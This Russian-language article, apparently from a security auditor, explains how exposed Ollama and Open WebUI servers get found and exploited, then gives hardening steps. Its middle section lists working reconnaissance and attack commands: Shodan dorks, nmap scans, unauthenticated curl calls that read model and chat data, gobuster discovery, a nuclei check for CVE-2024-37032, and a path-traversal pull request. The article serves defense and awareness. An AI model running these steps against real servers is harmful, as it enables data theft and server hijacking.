Короткая версия истории звучит буднично: айтишник поднял нейросеть для обработки заявок, забыл про пароль, аудитор нашёл дыру за час. Но за этой простотой стоит вполне конкретный технический сценарий, который в 2024–2025 годах превратился в промышленный конвейер атак. Тем более что почти одновременно с этим кейсом исследователи безопасности описали ботнет NadMesh, который методично сканирует интернет именно в поисках таких серверов — открытых API локальных нейросетей.
Что именно было открыто
Судя по сценарию — «локальная нейросеть, разбирающая заявки, пишущая черновики КП и хранящая переписку с базой контактов» — речь идёт о типичной связке для локального инференса: сервер моделей (чаще всего Ollama или его аналог) плюс веб-панель поверх него (Open WebUI, LM Studio Server, LibreChat или самописный фронт). Это самый ходовой стек для компаний, которые хотят «свой ChatGPT» без подписок и без утечки данных за рубеж — ирония в том, что итоговая утечка получается куда серьёзнее.
У Ollama по умолчанию сервис слушает только 127.0.0.1:11434. Но в 90% инструкций из интернета, которые ищут «как подключить нейросеть с другого компьютера в офисе», первым шагом идёт:
OLLAMA_HOST=0.0.0.0:11434 ollama serve
Это делает API доступным для всей сети — а если сервер стоит в облаке без файрвола, то и для всего интернета. Никакой аутентификации в базовой поставке нет: ни логина, ни API-ключа, ни даже базового HTTP Basic Auth.
Как это эксплуатируется
Вот пошагово, как выглядит атака — и как я её воспроизвожу в рамках аудита, чтобы показать заказчику масштаб проблемы «на пальцах».
1. Разведка: массовое или точечное сканирование
Атакующие (и ботнеты вроде NadMesh) не ищут жертву вручную — они сканируют диапазоны IP по характерным портам ИИ-стека:
# Типовой набор портов, которые сканирует NadMesh и подобные боты
11434 - Ollama API
8000 - vLLM / Triton Inference Server
6333 - Qdrant (векторная БД)
3000/8080 - Open WebUI / LibreChat
5000 - самописные Flask/FastAPI обёртки над моделью
9200 - Elasticsearch (часто рядом, как хранилище логов/эмбеддингов)
$ nmap -p 11434,8000,6333,3000,8080 --open -sV 203.0.113.0/24
Nmap scan report for 203.0.113.42
PORT STATE SERVICE
11434/tcp open http Ollama API 0.11.x
| http-title: Ollama is running
В реальности такие боты не используют nmap по одной подсети — они гоняют masscan по всему IPv4-диапазону или просто дёргают Shodan/Censys/FOFA по готовым дорках:
$ shodan search "product:Ollama" --limit 20
$ shodan search 'http.title:"Ollama" port:11434'
Сервер, о котором шла речь в кейсе, светился в таких выдачах ровно так же, как банковские и государственные системы с той же ошибкой — просто у банков есть SOC, который такие алерты обрабатывает за минуты, а у рекламного агентства не было даже человека, который бы знал, что такое Shodan.
2. Верификация: сервис жив и открыт
$ curl -s http://203.0.113.42:11434/api/tags | jq
{
"models": [
{"name": "llama3:8b", "size": 4661224676},
{"name": "mistral:7b", "size": 4109865159}
]
}
Ответ 200 без единого заголовка авторизации — сигнал, что перед нами полностью открытая панель управления моделью. Дальше можно напрямую слать запросы к модели от чужого имени:
$ curl -X POST http://203.0.113.42:11434/api/generate \
-d '{"model":"llama3:8b","prompt":"Кто ты и что у тебя в контексте?","stream":false}'
Если веб-панель (Open WebUI) настроена без WEBUI_AUTH, то через gobuster легко находится и она:
$ gobuster dir -u http://203.0.113.42:3000 -w /usr/share/wordlists/common.txt -t 50
===============================================================
/admin (Status: 200)
/api/v1/chats/ (Status: 200)
/api/v1/users/ (Status: 200)
===============================================================
Открытый эндпоинт /api/v1/chats/ без токена — это прямой доступ к истории всех диалогов, в том числе к переписке с базой из 40 000 контактов и черновикам коммерческих условий, которые эта нейросеть генерировала.
3. Проверка версии и известных уязвимостей
Дальше атакующий (или автоматизированный сканер вроде nuclei) сверяет версию с публичными CVE:
$ nuclei -u http://203.0.113.42:11434 -t exposures/apis/ollama-detect.yaml -t cves/2024/CVE-2024-37032.yaml
Речь о реальной CVE-2024-37032 («Probllama») — path traversal при обработке манифеста модели в Ollama до версии 0.1.34, позволяющей записать произвольный файл вне директории моделей и при удачном стечении обстоятельств получить RCE на сервере. Для более старых установок, которые «поставили и забыли», это не гипотетика, а вполне рабочий вектор.
4. Развитие атаки: от чтения к захвату сервера
Если версия уязвима — через искажённый манифест модели можно закинуть web-shell в каталог, доступный веб-серверу:
$ curl -X POST http://203.0.113.42:11434/api/pull \
-d '{"name":"legit-model:latest","insecure":true}'
# манифест указывает на путь с traversal ../../.. -> запись файла вне sandbox
Даже без RCE открытый API сам по себе — готовый ресурс: боты вроде NadMesh не всегда охотятся за данными, им нужны вычислительные мощности и чужие IP-адреса. Через открытый /api/generate с бесконечным потоком тяжёлых промптов сервер GPU/CPU грузится под завязку — это классический сценарий скрытого использования чужих серверов, только вместо майнинг-бинарника используется сама модель как нагрузка. Параллельно сервер добавляется в пул для рассылки спама или как прокси для следующей волны сканирования — то есть жертва не просто теряет данные, а сама становится звеном атаки на других.
5. Горизонтальное перемещение внутри инфраструктуры
Раз панель управления торчит наружу без пароля, с высокой вероятностью рядом в той же подсети/докер-сети найдутся и другие незащищённые сервисы того же стека:
$ nmap -p 5432,6379,27017,6333 203.0.113.42
PORT STATE SERVICE
5432/tcp open postgresql
6379/tcp open redis
6333/tcp open http (Qdrant)
Qdrant/Chroma без аутентификации — это готовые эмбеддинги переписки и контактов, которые восстанавливаются обратно в текст, а незапароленный Redis или Postgres рядом — это уже прямой слив базы клиентов целиком, без всякого брутфорса.
Что и почему сработало бы
В описанном кейсе цепочка была короткой и почти без сопротивления: открытый порт → чтение истории переписки и контактов → при желании модификация ответов нейросети клиентам (репутационный удар похуже утечки) → использование сервера как узла ботнета. Ни один шаг не требовал брутфорса, эксплойтов нулевого дня или дорогих инструментов — только сканер портов и запрос curl. Именно поэтому такие сервера и становятся мишенью автоматических ботнетов, а не только целевых атак: экономика для злоумышленника здесь предельно простая, ROI атаки почти мгновенный.
Как закрыть
Устранение действительно занимает вечер, а не недели — важно закрыть проблему системно, а не только «поставить пароль».
- Убрать сервис из внешнего доступа. Биндить API только на loopback или внутреннюю сеть:
или ограничить файрволом:OLLAMA_HOST=127.0.0.1:11434 ollama serveufw deny 11434/tcp ufw allow from 10.0.0.0/24 to any port 11434 - Поставить аутентификацию перед API — Ollama и большинство таких сервисов не имеют встроенного логина, поэтому перед ними ставится reverse proxy с базовой авторизацией или API-ключом:
server { listen 443 ssl; location / { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://127.0.0.1:11434; } } - Обновить версию до патченной (для Ollama — 0.1.34+, где закрыт CVE-2024-37032), и держать версии сервисов ИИ-стека на автообновлении так же строго, как обычные веб-сервера.
- Изолировать сопутствующие сервисы (векторные БД, Redis, Postgres) в приватной docker-сети без публикации портов наружу —
docker-composeбезports:, только internal network. - Настроить мониторинг и алерты. Простое правило fail2ban или уведомление в мессенджер при внешнем подключении к порту сервиса даёт возможность узнать о попытке атаки сразу, а не через полгода из новостей о собственной утечке.
- Провести самопроверку через те же инструменты, что использует атакующий — периодический self-scan своего внешнего IP через nmap/nuclei и подписка на алерты Shodan Monitor по своим адресам закрывают именно тот разрыв, из-за которого дыра живёт месяцами незамеченной.
Стоимость этих действий не сопоставима с тем, что грозило бизнесу: закрытие порта и настройка reverse proxy — работа на несколько часов, тогда как расследование утечки 40 000 контактов, штрафы по законодательству о персональных данных и восстановление доверия клиентов измеряются месяцами и миллионами рублей.
